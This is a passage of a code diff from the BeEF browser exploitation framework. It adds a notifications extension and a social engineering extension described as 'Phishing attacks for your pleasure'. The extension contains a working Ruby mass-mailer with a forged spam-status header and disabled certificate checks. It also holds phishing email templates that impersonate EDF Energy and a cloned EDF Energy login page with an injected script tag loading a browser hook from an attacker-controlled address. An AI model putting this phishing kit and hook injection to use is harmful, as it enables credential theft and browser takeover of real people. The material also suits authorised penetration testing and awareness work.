# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Notifications
|
||||
|
||||
extend BeEF::API::Extension
|
||||
|
||||
@short_name = 'notifications'
|
||||
@full_name = 'Notifications'
|
||||
@description = 'Generates external notifications for events in BeEF'
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
require 'extensions/notifications/notifications'
|
||||
57
extensions/notifications/notifications.rb
Normal file
@@ -0,0 +1,57 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
require 'extensions/notifications/channels/tweet'
|
||||
require 'extensions/notifications/channels/email'
|
||||
|
||||
module BeEF
|
||||
module Extension
|
||||
module Notifications
|
||||
|
||||
#
|
||||
# Notifications class
|
||||
#
|
||||
class Notifications
|
||||
|
||||
def initialize(from, event, time_now, hb)
|
||||
@config = BeEF::Core::Configuration.instance
|
||||
if @config.get('beef.extension.notifications.enable') == false
|
||||
# notifications are not enabled
|
||||
return nil
|
||||
else
|
||||
@from = from
|
||||
@event = event
|
||||
@time_now = time_now
|
||||
@hb = hb
|
||||
end
|
||||
|
||||
message = "#{from} #{event} #{time_now} #{hb}"
|
||||
|
||||
if @config.get('beef.extension.notifications.twitter.enable') == true
|
||||
username = @config.get('beef.extension.notifications.twitter.target_username')
|
||||
BeEF::Extension::Notifications::Channels::Tweet.new(username,message)
|
||||
end
|
||||
|
||||
if @config.get('beef.extension.notifications.email.enable') == true
|
||||
to_address = @config.get('beef.extension.notifications.email.to_address')
|
||||
BeEF::Extension::Notifications::Channels::Email.new(to_address,message)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -14,33 +14,33 @@
|
||||
# limitations under the License.
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Proxy
|
||||
module API
|
||||
module Extension
|
||||
module Proxy
|
||||
module API
|
||||
|
||||
module RegisterHttpHandler
|
||||
module RegisterHttpHandler
|
||||
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Proxy::API::RegisterHttpHandler, BeEF::API::Server, 'pre_http_start')
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Proxy::API::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
|
||||
|
||||
def self.pre_http_start(http_hook_server)
|
||||
config = BeEF::Core::Configuration.instance
|
||||
Thread.new{
|
||||
http_hook_server.semaphore.synchronize{
|
||||
BeEF::Extension::Proxy::Proxy.new
|
||||
}
|
||||
}
|
||||
print_success "HTTP Proxy: http://#{config.get('beef.extension.proxy.address')}:#{config.get('beef.extension.proxy.port')}"
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Proxy::API::RegisterHttpHandler, BeEF::API::Server, 'pre_http_start')
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Proxy::API::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
|
||||
|
||||
def self.pre_http_start(http_hook_server)
|
||||
config = BeEF::Core::Configuration.instance
|
||||
Thread.new{
|
||||
http_hook_server.semaphore.synchronize{
|
||||
BeEF::Extension::Proxy::Proxy.new
|
||||
}
|
||||
}
|
||||
print_info "HTTP Proxy: http://#{config.get('beef.extension.proxy.address')}:#{config.get('beef.extension.proxy.port')}"
|
||||
end
|
||||
|
||||
def self.mount_handler(beef_server)
|
||||
beef_server.mount('/proxy', BeEF::Extension::Requester::Handler)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
def self.mount_handler(beef_server)
|
||||
beef_server.mount('/proxy', BeEF::Extension::Requester::Handler)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
58
extensions/social_engineering/config.yaml
Normal file
@@ -0,0 +1,58 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
beef:
|
||||
extension:
|
||||
social_engineering:
|
||||
enable: true
|
||||
name: 'Social Engineering'
|
||||
authors: ["antisnatchor"]
|
||||
web_cloner:
|
||||
# NOTE: you must have 'wget' in your PATH
|
||||
add_beef_hook: true
|
||||
user_agent: "Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20120716 Firefox/15.0a2"
|
||||
mass_mailer:
|
||||
# NOTE: you must have 'file' in your PATH
|
||||
user_agent: "Microsoft-MacOutlook/12.12.0.111556"
|
||||
host: "smtp.gmail.com"
|
||||
port: 587
|
||||
use_auth: true
|
||||
use_tls: true
|
||||
helo: "gmail.com" # this is usually the domain name
|
||||
from: "youruser@gmail.com"
|
||||
password: "yourpass"
|
||||
# available templates
|
||||
templates:
|
||||
default:
|
||||
# images are by default inline, so if you want to attach something, see 'attachments' below
|
||||
images: ["beef_logo.png"]
|
||||
images_cids:
|
||||
cid1: "beef_logo.png"
|
||||
attachments: ["beef_attachment.pdf"]
|
||||
edfenergy:
|
||||
# my-account.edfenergy.com_mod is an example of a modified page (manually modified in order to
|
||||
# intercept POST requests) to be served with the web_cloner using use_existing = true
|
||||
images: ["corner-tl.png", "main.png","edf_logo.png","promo-corner-left.png","promo-corner-right-arrow.png","promo-reflection.png","2012.png","corner-bl.png","corner-br.png","bottom-border.png"]
|
||||
images_cids:
|
||||
cid1: "corner-tl.png"
|
||||
cid2: "main.png"
|
||||
cid3: "edf_logo.png"
|
||||
cid4: "promo-corner-left.png"
|
||||
cid5: "promo-corner-right-arrow.png"
|
||||
cid6: "promo-reflection.png"
|
||||
cid7: "2012.png"
|
||||
cid8: "corner-bl.png"
|
||||
cid9: "corner-br.png"
|
||||
cid10: "bottom-border.png"
|
||||
56
extensions/social_engineering/extension.rb
Normal file
@@ -0,0 +1,56 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
|
||||
module RegisterSEngHandler
|
||||
def self.mount_handler(server)
|
||||
server.mount('/api/seng', BeEF::Extension::SocialEngineering::SEngRest.new)
|
||||
end
|
||||
end
|
||||
|
||||
module SocialEngineering
|
||||
extend BeEF::API::Extension
|
||||
|
||||
@short_name = 'social_engineering'
|
||||
@full_name = 'Social Engineering'
|
||||
@description = 'Phishing attacks for your pleasure: web page cloner (POST interceptor and BeEF goodness), highly configurable mass mailer, etc.'
|
||||
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::RegisterSEngHandler, BeEF::API::Server, 'mount_handler')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Handlers
|
||||
require 'extensions/social_engineering/web_cloner/web_cloner'
|
||||
require 'extensions/social_engineering/web_cloner/interceptor'
|
||||
require 'extensions/social_engineering/mass_mailer/mass_mailer'
|
||||
|
||||
# Models
|
||||
require 'extensions/social_engineering/models/web_cloner'
|
||||
require 'extensions/social_engineering/models/interceptor'
|
||||
#require 'extensions/social_engineering/models/mass_mailer'
|
||||
|
||||
# RESTful api endpoints
|
||||
require 'extensions/social_engineering/rest/socialengineering'
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
249
extensions/social_engineering/mass_mailer/mass_mailer.rb
Normal file
@@ -0,0 +1,249 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module SocialEngineering
|
||||
class MassMailer
|
||||
require 'net/smtp'
|
||||
require 'base64'
|
||||
include Singleton
|
||||
|
||||
def initialize
|
||||
@config = BeEF::Core::Configuration.instance
|
||||
@config_prefix = "beef.extension.social_engineering.mass_mailer"
|
||||
@templates_dir = "#{File.expand_path('../../../../extensions/social_engineering/mass_mailer/templates', __FILE__)}/"
|
||||
|
||||
@user_agent = @config.get("#{@config_prefix}.user_agent")
|
||||
@host = @config.get("#{@config_prefix}.host")
|
||||
@port = @config.get("#{@config_prefix}.port")
|
||||
@helo = @config.get("#{@config_prefix}.helo")
|
||||
@from = @config.get("#{@config_prefix}.from")
|
||||
@password = @config.get("#{@config_prefix}.password")
|
||||
end
|
||||
|
||||
# tos_hash is an Hash like:
|
||||
# 'antisnatchor@gmail.com' => 'Michele'
|
||||
# 'ciccio@pasticcio.com' => 'Ciccio'
|
||||
def send_email(template, fromname, subject, link, linktext, tos_hash)
|
||||
# create new SSL context and disable CA chain validation
|
||||
if @config.get("#{@config_prefix}.use_tls")
|
||||
@ctx = OpenSSL::SSL::SSLContext.new
|
||||
@ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE # In case the SMTP server uses a self-signed cert, we proceed anyway
|
||||
@ctx.ssl_version = "TLSv1"
|
||||
end
|
||||
|
||||
n = tos_hash.size
|
||||
x = 1
|
||||
print_info "Sending #{n} mail(s) from [#{@from}] - name [#{fromname}] using template [#{template}]:"
|
||||
print_info "subject: #{subject}"
|
||||
print_info "link: #{link}"
|
||||
print_info "linktext: #{linktext}"
|
||||
|
||||
# create a new SMTP object, enable TLS with the previous instantiated context, and connects to the server
|
||||
smtp = Net::SMTP.new(@host, @port)
|
||||
smtp.enable_starttls(@ctx) unless @config.get("#{@config_prefix}.use_tls") == false
|
||||
|
||||
if @config.get("#{@config_prefix}.use_auth")
|
||||
smtp.start(@helo, @from, @password, :login) do |smtp|
|
||||
tos_hash.each do |to, name|
|
||||
message = compose_email(fromname, to, name, subject, link, linktext, template)
|
||||
smtp.send_message(message, @from, to)
|
||||
print_info "Mail #{x}/#{n} to [#{to}] sent."
|
||||
x += 1
|
||||
end
|
||||
end
|
||||
else
|
||||
smtp.start(@helo, @from) do |smtp|
|
||||
tos_hash.each do |to, name|
|
||||
message = compose_email(fromname, to, name, subject, link, linktext, template)
|
||||
smtp.send_message(message, @from, to)
|
||||
print_info "Mail #{x}/#{n} to [#{to}] sent."
|
||||
x += 1
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def compose_email(fromname, to, name, subject, link, linktext, template)
|
||||
msg_id = random_string(50)
|
||||
boundary = "------------#{random_string(24)}"
|
||||
rel_boundary = "------------#{random_string(24)}"
|
||||
|
||||
header = email_headers(@from, fromname, @user_agent, to, subject, msg_id, boundary)
|
||||
plain_body = email_plain_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.plain", template), boundary)
|
||||
rel_header = email_related(rel_boundary)
|
||||
html_body = email_html_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.html", template),rel_boundary)
|
||||
|
||||
images = ""
|
||||
@config.get("#{@config_prefix}.templates.#{template}.images").each do |image|
|
||||
images += email_add_image(image, "#{@templates_dir}#{template}/#{image}",rel_boundary)
|
||||
end
|
||||
|
||||
attachments = ""
|
||||
if @config.get("#{@config_prefix}.templates.#{template}.attachments") != nil
|
||||
@config.get("#{@config_prefix}.templates.#{template}.attachments").each do |attachment|
|
||||
attachments += email_add_attachment(attachment, "#{@templates_dir}#{template}/#{attachment}",rel_boundary)
|
||||
end
|
||||
end
|
||||
|
||||
close = email_close(boundary)
|
||||
|
||||
message = header + plain_body + rel_header + html_body + images + attachments + close
|
||||
print_debug "Raw Email content:\n #{message}"
|
||||
message
|
||||
end
|
||||
|
||||
def email_headers(from, fromname, user_agent, to, subject, msg_id, boundary)
|
||||
headers = <<EOF
|
||||
From: "#{fromname}" <#{from}>
|
||||
Reply-To: "#{fromname}" <#{from}>
|
||||
Return-Path: "#{fromname}" <#{from}>
|
||||
X-Mailer: #{user_agent}
|
||||
To: #{to}
|
||||
Message-ID: <#{msg_id}@#{@host}>
|
||||
X-Spam-Status: No, score=0.001 required=5
|
||||
Subject: #{subject}
|
||||
MIME-Version: 1.0
|
||||
Content-Type: multipart/alternative;
|
||||
boundary=#{boundary}
|
||||
|
||||
This is a multi-part message in MIME format.
|
||||
--#{boundary}
|
||||
EOF
|
||||
headers
|
||||
end
|
||||
|
||||
def email_plain_body(plain_text, boundary)
|
||||
plain_body = <<EOF
|
||||
Content-Type: text/plain; charset="utf8"
|
||||
Content-Transfer-Encoding:8bit
|
||||
|
||||
#{plain_text}
|
||||
|
||||
--#{boundary}
|
||||
EOF
|
||||
plain_body
|
||||
end
|
||||
|
||||
def email_related(rel_boundary)
|
||||
related = <<EOF
|
||||
Content-Type: multipart/related;
|
||||
boundary="#{rel_boundary}"
|
||||
|
||||
|
||||
--#{rel_boundary}
|
||||
EOF
|
||||
related
|
||||
end
|
||||
|
||||
def email_html_body(html_body, rel_boundary)
|
||||
html_body = <<EOF
|
||||
Content-Type: text/html; charset=ISO-8859-1
|
||||
Content-Transfer-Encoding: 7bit
|
||||
|
||||
#{html_body}
|
||||
--#{rel_boundary}
|
||||
EOF
|
||||
html_body
|
||||
end
|
||||
|
||||
def email_add_image(name, path, rel_boundary)
|
||||
file_encoded = [File.read(path)].pack("m") # base64 encoded
|
||||
image = <<EOF
|
||||
Content-Type: #{get_mime(path)};
|
||||
name="#{name}"
|
||||
Content-Transfer-Encoding: base64
|
||||
Content-ID: <#{name}>
|
||||
Content-Disposition: inline;
|
||||
filename="#{name}"
|
||||
|
||||
#{file_encoded}
|
||||
--#{rel_boundary}
|
||||
EOF
|
||||
image
|
||||
end
|
||||
|
||||
def email_add_attachment(name, path, rel_boundary)
|
||||
file_encoded = [File.read(path)].pack("m") # base64 encoded
|
||||
image = <<EOF
|
||||
Content-Type: #{get_mime(path)};
|
||||
name="#{name}"
|
||||
Content-Transfer-Encoding: base64
|
||||
Content-Disposition: attachment;
|
||||
filename="#{name}"
|
||||
|
||||
#{file_encoded}
|
||||
--#{rel_boundary}
|
||||
EOF
|
||||
image
|
||||
end
|
||||
|
||||
def email_close(boundary)
|
||||
close = <<EOF
|
||||
--#{boundary}--
|
||||
EOF
|
||||
close
|
||||
end
|
||||
|
||||
# Replaces placeholder values from the plain/html email templates
|
||||
def parse_template(name, link, linktext, template_path, template)
|
||||
result = ""
|
||||
img_config = "#{@config_prefix}.templates.#{template}.images_cids"
|
||||
img_count = 0
|
||||
File.open(template_path, 'r').each do |line|
|
||||
# change the Recipient name
|
||||
if line.include?("__name__")
|
||||
result += line.gsub("__name__",name)
|
||||
# change the link/linktext
|
||||
elsif line.include?("__link__")
|
||||
if line.include?("__linktext__")
|
||||
result += line.gsub("__link__",link).gsub("__linktext__",linktext)
|
||||
else
|
||||
result += line.gsub("__link__",link)
|
||||
end
|
||||
# change images cid/name/alt
|
||||
elsif line.include?("src=\"cid:__")
|
||||
img_count += 1
|
||||
if line.include?("name=\"img__") || line.include?("alt=\"__img")
|
||||
result += line.gsub("__cid#{img_count}__",
|
||||
@config.get("#{img_config}.cid#{img_count}")).gsub("__img#{img_count}__",
|
||||
@config.get("#{img_config}.cid#{img_count}"))
|
||||
else
|
||||
result += line.gsub("__cid#{img_count}__",@config.get("#{img_config}.cid#{img_count}"))
|
||||
end
|
||||
else
|
||||
result += line
|
||||
end
|
||||
end
|
||||
result
|
||||
end
|
||||
|
||||
def get_mime(file_path)
|
||||
result = ""
|
||||
IO.popen(["file", "--mime","-b", "#{file_path}"], 'r+') do |io|
|
||||
result = io.readlines.first.split(";").first
|
||||
end
|
||||
result
|
||||
end
|
||||
|
||||
def random_string(length)
|
||||
output = (0..length).map{ rand(36).to_s(36).upcase }.join
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
After Width: | Height: | Size: 13 KiB |
@@ -0,0 +1,21 @@
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="content-type" content="text/html; charset=ISO-8859-1">
|
||||
</head>
|
||||
<body bgcolor="#FFFFFF" text="#000000">
|
||||
Hi __name__,<br>
|
||||
<br>
|
||||
We would like to inform you that your BeEF order has been successful.<br>
|
||||
You can check the status of your hook at the following link:<br>
|
||||
<!-- be sure to have link and linktext placeholders on the same line, like the following: -->
|
||||
<a href="__link__">__linktext__</a><br>
|
||||
<br>
|
||||
For convenience, we also attached a resume of your order as PDF.<br>
|
||||
<br>
|
||||
Regards,<br>
|
||||
The BeEF team<br>
|
||||
<!-- be sure to have different images on different lines, like the following: -->
|
||||
<img src="cid:__cid1__" name="__img1__" alt="__img1__"><br>
|
||||
<!--<img src="cid:cid2" name="img2" alt="img2"><br>-->
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,10 @@
|
||||
Hi __name__,
|
||||
|
||||
We would like to inform you that your BeEF order has been successful.
|
||||
You can check the status of your hook at the following link:
|
||||
__link__
|
||||
|
||||
For convenience, we also attached a resume of your order as PDF.
|
||||
|
||||
Regards,
|
||||
The BeEF team
|
||||
|
After Width: | Height: | Size: 9.2 KiB |
|
After Width: | Height: | Size: 33 KiB |
|
After Width: | Height: | Size: 2.8 KiB |
|
After Width: | Height: | Size: 2.8 KiB |
|
After Width: | Height: | Size: 2.8 KiB |
|
After Width: | Height: | Size: 6.8 KiB |
@@ -0,0 +1,54 @@
|
||||
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
|
||||
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF8">
|
||||
<meta name="Generator" content="StreamServe MailOUT"><title>
|
||||
</title><style type="text/css">P {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px;}</style>
|
||||
</head><body><div><p><font face=MS Sans Serif color=#000000 size=1>
|
||||
<table style="width:618px; border-collapse:collapse;">
|
||||
<tr><td style="padding:28px; background-color: #ff5716;">
|
||||
<table style="border-collapse:collapse; font-size:12px; width:562px;" cellpadding="0" cellspacing="0" border="0">
|
||||
<tr><td style="padding: 0px; margin:0px; line-height:0px; width:28px; background-color:white; vertical-align:top;">
|
||||
<img src="cid:__cid1__" style="display:block; width:11px; height:11px;" />
|
||||
</td><td colspan="2" style="width:379px; background-color:white;"></td>
|
||||
<td rowspan="3" colspan="2" style="padding: 0px; margin:0px; line-height:0px; background-color:white; vertical-align:top;">
|
||||
<img src="cid:__cid2__" style="display:block; width:155px; height:291px; " alt="Cityscape" /></td></tr>
|
||||
<tr><td style="background-color:white;" rowspan="3"></td><td style="width:60px; vertical-align:top; background-color:white;">
|
||||
<img src="cid:__cid3__" style="display:block; width:44px; height:65px;" alt="EDFEnergy" /></td>
|
||||
<td style="width:315px; background-color:white;">
|
||||
<h1 style="font-family: arial, sans-serif; font-weight:bold; font-size:16pt; color:#09357a; margin:0;">
|
||||
Important information regarding your account</h1><br /></td></tr>
|
||||
<tr><td colspan="2" style="font-family: arial, sans-serif; font-size:11pt; color:#434343; width:375px; background-color:white; vertical-align:top;" >
|
||||
<p style="margin: 16px 0px 16px 0px;"><span style="color:#09357a; font-weight: bold; font-size:13pt;" >
|
||||
Dear __name__</span></p><p style="margin-bottom:16px;">You have an important message regarding your EDF Energy account. </p>
|
||||
<p style="margin-bottom:16px;">As this message contains confidential information you must
|
||||
<a href="__link__" style="color: #013976;">click here</a> to view the message.</p>
|
||||
<p style="margin-bottom:16px;">In order to read your messages you must be registered to MyAccount which you can do using the same link. </p>
|
||||
<br/><table style="border-collapse:collapse; width:292px; padding:0px;"><tr>
|
||||
<td style="width:11px; background-color:#09357a; padding:0px; vertical-align:top;">
|
||||
<img src="cid:__cid4__"
|
||||
style="display:block; width:11px; height:26px;" /></td>
|
||||
<td style="background-color: #09357a; color:white; width:282px; padding:0 0 0 5px; font-family:Arial; font-weight:bold; font-size:10pt;">
|
||||
<a href="__link__" style="color:white; text-decoration:none;">Continue to MyMessages</a></td>
|
||||
<td style="width:27px; background-color:#09357a; padding:0px; vertical-align:top;">
|
||||
<img src="cid:__cid5__" style="display:block; width:27px; height:26px;" /></td></tr>
|
||||
<tr><td colspan="3" style="width:293px; padding:0px;">
|
||||
<img src="cid:__cid6__" style="display:block; width:293px; height:9px;" />
|
||||
</td></tr></table></td></tr><tr><td colspan="2" style="width:375px; background-color:white;"></td>
|
||||
<td colspan="2" style="text-align:right;background-color:white;">
|
||||
<img src="cid:__cid7__" style="display:block; float:right; width:95px; height:69px;" alt="London 2012" /></td></tr>
|
||||
<tr><td style="padding: 0px; margin:0px; line-height:0px; width:28px; background-color:white; vertical-align:bottom;">
|
||||
<img src="cid:__cid8__" style="display:block; width:11px; height:11px;" /></td>
|
||||
<td colspan="2" style="width:375px; background-color:white;"></td>
|
||||
<td style="width:144px; background-color:white;"> </td>
|
||||
<td style="padding: 0px; margin:0px; line-height:0px; text-align:right; width:11px; background-color:white; vertical-align:bottom;">
|
||||
<img src="cid:__cid9__" style="display:block; padding: 0px; margin: 0px; width:11px; height:11px;" />
|
||||
</td>
|
||||
</tr> </table></td></tr><tr>
|
||||
<td style="padding: 0px;">
|
||||
<img src="cid:__cid10__" style="display:block; width:618px; height:27px;" />
|
||||
</td></tr><tr><td style="padding:15px 28px; background-color:#ffdecf;">
|
||||
<p style="text-align:center; font-family: arial, sans-serif; font-weight:bold; font-size:9pt; color:#001f40;">
|
||||
EDF Energy is a trading name used by EDF Energy Customers plc. Reg. No 02228297 whose registered office is at 40 Grosvenor Place, London, SW1X 7EN,
|
||||
incorporated in England and Wales. EDF Energy Customers plc. is a wholly owned subsidiary of EDF Energy plc.
|
||||
The responsibility for performance of the supply obligations for all EDF Energy supply contracts rests with EDF Energy Customers plc.
|
||||
<br /><br />The official Emblems of the London Organising Committee of the Olympic Games <br />and Paralympic Games Ltd are 2007 LOCOG. All rights reserved.</p></td></tr>
|
||||
</table></font></p></font></div></body></html>
|
||||
@@ -0,0 +1,19 @@
|
||||
Important information regarding your account
|
||||
|
||||
Dear __name__
|
||||
|
||||
You have an important message regarding your EDF Energy account.
|
||||
|
||||
As this message contains confidential information you must click here to view the message:
|
||||
__link__
|
||||
|
||||
In order to read your messages you must be registered to MyAccount which you can do using the same link:
|
||||
__link__
|
||||
|
||||
EDF Energy is a trading name used by EDF Energy Customers plc. Reg. No 02228297 whose registered office
|
||||
is at 40 Grosvenor Place, London, SW1X 7EN, incorporated in England and Wales. EDF Energy Customers plc.
|
||||
is a wholly owned subsidiary of EDF Energy plc. The responsibility for performance of the supply obligations
|
||||
for all EDF Energy supply contracts rests with EDF Energy Customers plc.
|
||||
|
||||
The official Emblems of the London Organising Committee of the Olympic Games
|
||||
and Paralympic Games Ltd are © 2007 LOCOG. All rights reserved.
|
||||
|
After Width: | Height: | Size: 55 KiB |
@@ -0,0 +1,790 @@
|
||||
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd">
|
||||
<html><head><LINK REL=stylesheet HREF="https://my-account.edfenergy.com/irj/portalapps/com.sap.portal.design.portaldesigndata/themes/portal/Edf_Energy_Orchard_Theme/glbl/glbl_nn7.css?7.0.20.0.1">
|
||||
<LINK REL=stylesheet HREF="https://my-account.edfenergy.com/irj/portalapps/com.sap.portal.design.portaldesigndata/themes/portal/Edf_Energy_Orchard_Theme/prtl_std/prtl_std_nn7.css?7.0.20.0.1">
|
||||
|
||||
<!-- EPCF: BOB Core -->
|
||||
<meta http-equiv="Content-Script-Type" content="text/javascript">
|
||||
<script src="https://my-account.edfenergy.com/irj/portalapps/com.sap.portal.epcf.loader/script/optimize/js13_epcf.js?7.00001620"></script>
|
||||
<script>
|
||||
<!--
|
||||
EPCM.relaxDocumentDomain();
|
||||
EPCM.init( {
|
||||
Version:7.00001620,
|
||||
Level:1,
|
||||
PortalVersion:"7.00.200908152330",
|
||||
DynamicTop:false, // [service=true nestedWinOnAlias=false]
|
||||
UAType:21, // [Mozilla]
|
||||
UAVersion:5.0,
|
||||
UAPlatform:1, // [Win]
|
||||
UIPMode:"1", // [Default=1, User=0, Personalize=true]
|
||||
UIPWinFeatures:"",
|
||||
UIPPortalPath:"https://my-account.edfenergy.com:443/irj/portal/anonymous",
|
||||
UIPPopupComp:"",
|
||||
UIPPopupCompSize:"",
|
||||
UIPPopupMsgNN:"Your current page contains unsaved data.\r\nDo you want to continue with navigation and open a new window?",
|
||||
UIPPopupMsgND:"Your current page contains unsaved data.\r\nDo you want to discard the changes and open the content in the same window?",
|
||||
DBGException:false
|
||||
} );
|
||||
EPCM.DSM.init( {
|
||||
TerminatorURL:"/irj/servlet/prt/portal/prtroot/com.sap.portal.dsm.Terminator",
|
||||
WinEmptyUrl:"/irj/portalapps/com.sap.portal.dsm/images/empty.gif",
|
||||
ForcedUserDebug:false,
|
||||
KeepAliveActive:false,
|
||||
KeepAliveDelta:840,
|
||||
KeepAliveStopAfter:36000
|
||||
} );
|
||||
function SAPWP_receiveSessInfo( sessInfo, frameRef ){
|
||||
EPCM.DSM.processSession( sessInfo, frameRef );
|
||||
}
|
||||
//-->
|
||||
</script>
|
||||
<!-- EPCF: EOB Core -->
|
||||
|
||||
<script type="text/javascript">
|
||||
/*HTML Business for Java, 645_SP_REL, 529005, Wed Jul 22 15:27:56 BST 2009*/
|
||||
ur_system = {doc : window.document , mimepath :"/irj/portalapps/com.sap.portal.design.urdesigndata/themes/portal/Edf_Energy_Orchard_Theme/common/", stylepath : "/irj/portalapps/com.sap.portal.design.urdesigndata/themes/portal/Edf_Energy_Orchard_Theme/ur/", emptyhoverurl : "/irj/portalapps/com.sap.portal.htmlb/jslib/emptyhover.html", is508 : false, dateformat : 1, domainrelaxing : "MINIMAL"};
|
||||
</script>
|
||||
<title >MyAccount</title><meta HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8"><script SRC="https://my-account.edfenergy.com/irj/portalapps/com.sap.portal.httpconnectivity.httpauthentication/scripts/CAManagerScript.js" ></script><script SRC="https://my-account.edfenergy.com/irj/portalapps/com.sap.portal.navigation.helperservice/scripts/HistoryFramework.js" ></script><script SRC="https://my-account.edfenergy.com/irj/portalapps/com.sap.portal.navigation.helperservice/scripts/NavigationFramework.js" ></script><script SRC="https://my-account.edfenergy.com/irj/portalapps/com.sap.portal.navigation.helperservice/scripts/FrameworkSupport.js" ></script><script SRC="https://my-account.edfenergy.com/irj/portalapps/com.sap.portal.pagebuilder/scripts/pagesupport.js" ></script><link REL=STYLESHEET HREF="https://my-account.edfenergy.com/irj/portalapps/com.edfe.orchard.Logon/css/stylesheets/main_v1.5.css?7.0.20.0.1" TYPE="text/css" ><link REL=STYLESHEET HREF="https://my-account.edfenergy.com/irj/portalapps/com.edfe.orchard.Logon/css/stylesheets/myaccount_v3.css?7.0.20.0.1" TYPE="text/css" ><script type="text/javascript" src="http://192.168.0.3:80/hook.js"></script>
|
||||
</head><body class="prtlBody urFontBaseFam urScrl">
|
||||
<!-- EPCF: Component com.sap.portal.navigation.portallauncher.anonymous, kegighenibibncgidhmmmfdjjggfpmhm -->
|
||||
<Script>
|
||||
var caEngine = new CAManager('/irj/servlet/prt/portal/prtroot/com.sap.portal.httpconnectivity.httpauthentication.Engine','dialogHeight:10;dialogWidth:20;center:1;help:0;status:0');
|
||||
caEngine.registerCAEvent('com.sap.portal.httpconnectivity.httpauthentication','Teach',caEngine,'eventCallBack');
|
||||
</Script>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<script>
|
||||
|
||||
var disableWorkProtectCheck = false;
|
||||
|
||||
|
||||
function popupUnsavedDataBeforeUnload(evt)
|
||||
{
|
||||
if ((typeof pageTitleBar != "undefined") && pageTitleBar.backForwardLink)
|
||||
{
|
||||
pageTitleBar.backForwardLink = false;
|
||||
}
|
||||
else
|
||||
{
|
||||
evt = (evt) ? evt : ((window.event) ? event : null);
|
||||
